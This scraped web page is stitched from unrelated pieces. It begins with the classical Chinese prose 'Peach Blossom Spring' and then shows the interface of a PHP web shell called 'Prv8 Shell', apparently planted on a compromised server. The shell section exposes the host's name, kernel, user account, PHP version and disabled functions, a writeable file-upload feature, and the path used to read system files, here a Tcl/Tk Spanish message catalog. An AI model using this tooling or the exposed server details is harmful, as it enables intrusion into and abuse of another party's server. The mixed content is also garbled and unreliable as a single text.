晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/tk8.6/msgs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/tk8.6/msgs/es.msg
namespace eval ::tk {
    ::msgcat::mcset es "&Abort" "&Abortar"
    ::msgcat::mcset es "&About..." "&Acerca de ..."
    ::msgcat::mcset es "All Files" "Todos los archivos"
    ::msgcat::mcset es "Application Error" "Error de la aplicaci\u00f3n"
    ::msgcat::mcset es "&Blue" "&Azul"
    ::msgcat::mcset es "Cancel" "Cancelar"
    ::msgcat::mcset es "&Cancel" "&Cancelar"
    ::msgcat::mcset es "Cannot change to the directory \"%1\$s\".\nPermission denied." "No es posible acceder al directorio \"%1\$s\".\nPermiso denegado."
    ::msgcat::mcset es "Choose Directory" "Elegir directorio"
    ::msgcat::mcset es "Cl&ear" "&Borrar"
    ::msgcat::mcset es "&Clear Console" "&Borrar consola"
    ::msgcat::mcset es "Color"
    ::msgcat::mcset es "Console" "Consola"
    ::msgcat::mcset es "&Copy" "&Copiar"
    ::msgcat::mcset es "Cu&t" "Cor&tar"
    ::msgcat::mcset es "&Delete" "&Borrar"
    ::msgcat::mcset es "Details >>" "Detalles >>"
    ::msgcat::mcset es "Directory \"%1\$s\" does not exist." "El directorio \"%1\$s\" no existe."
    ::msgcat::mcset es "&Directory:" "&Directorio:"
    ::msgcat::mcset es "&Edit" "&Editar"
    ::msgcat::mcset es "Error: %1\$s"
    ::msgcat::mcset es "E&xit" "Salir"
    ::msgcat::mcset es "&File" "&Archivo"
    ::msgcat::mcset es "File \"%1\$s\" already exists.\nDo you want to overwrite it?" "El archivo \"%1\$s\" ya existe.\n\u00bfDesea sobreescribirlo?"
    ::msgcat::mcset es "File \"%1\$s\" already exists.\n\n" "El archivo \"%1\$s\" ya existe.\n\n"
    ::msgcat::mcset es "File \"%1\$s\" does not exist." "El archivo \"%1\$s\" no existe."
    ::msgcat::mcset es "File &name:" "&Nombre de archivo:"
    ::msgcat::mcset es "File &names:" "&Nombres de archivo:"
    ::msgcat::mcset es "Files of &type:" "Archivos de &tipo:"
    ::msgcat::mcset es "Fi&les:" "&Archivos:"
    ::msgcat::mcset es "&Filter" "&Filtro"
    ::msgcat::mcset es "Fil&ter:" "Fil&tro:"
    ::msgcat::mcset es "&Green" "&Verde"
    ::msgcat::mcset es "&Help" "&Ayuda"
    ::msgcat::mcset es "Hi"  "Hola"
    ::msgcat::mcset es "&Hide Console" "&Esconder la consola"
    ::msgcat::mcset es "&Ignore" "&Ignorar"
    ::msgcat::mcset es "Invalid file name \"%1\$s\"." "Nombre de archivo inv\u00e1lido \"%1\$s\"."
    ::msgcat::mcset es "Log Files"  "Ficheros de traza"
    ::msgcat::mcset es "&No"
    ::msgcat::mcset es "&OK"
    ::msgcat::mcset es "OK"
    ::msgcat::mcset es "Ok"
    ::msgcat::mcset es "Open" "Abrir"
    ::msgcat::mcset es "&Open" "&Abrir"
    ::msgcat::mcset es "Open Multiple Files" "Abrir m\u00faltiples archivos"
    ::msgcat::mcset es "P&aste" "Peg&ar"
    ::msgcat::mcset es "&Quit" "&Abandonar"
    ::msgcat::mcset es "&Red" "&Rojo"
    ::msgcat::mcset es "Replace existing file?" "\u00bfReemplazar el archivo existente?"
    ::msgcat::mcset es "&Retry" "&Reintentar"
    ::msgcat::mcset es "&Save" "&Guardar"
    ::msgcat::mcset es "Save As" "Guardar como"
    ::msgcat::mcset es "Save To Log" "Guardar al archivo de traza"
    ::msgcat::mcset es "Select Log File"  "Elegir un archivo de traza"
    ::msgcat::mcset es "Select a file to source" "Seleccionar un archivo a evaluar"
    ::msgcat::mcset es "&Selection:" "&Selecci\u00f3n:"
    ::msgcat::mcset es "Skip Messages" "Omitir los mensajes"
    ::msgcat::mcset es "&Source..." "E&valuar..."
    ::msgcat::mcset es "Tcl Scripts" "Scripts Tcl"
    ::msgcat::mcset es "Tcl for Windows" "Tcl para Windows"
    ::msgcat::mcset es "Text Files" "Archivos de texto"
    ::msgcat::mcset es "&Yes" "&S\u00ed"
    ::msgcat::mcset es "abort" "abortar"
    ::msgcat::mcset es "blue" "azul"
    ::msgcat::mcset es "cancel" "cancelar"
    ::msgcat::mcset es "extension"  "extensi\u00f3n"
    ::msgcat::mcset es "extensions" "extensiones"
    ::msgcat::mcset es "green" "verde"
    ::msgcat::mcset es "ignore" "ignorar"
    ::msgcat::mcset es "ok"
    ::msgcat::mcset es "red" "rojo"
    ::msgcat::mcset es "retry" "reintentar"
    ::msgcat::mcset es "yes" "s\u00ed"
}

haha - 2025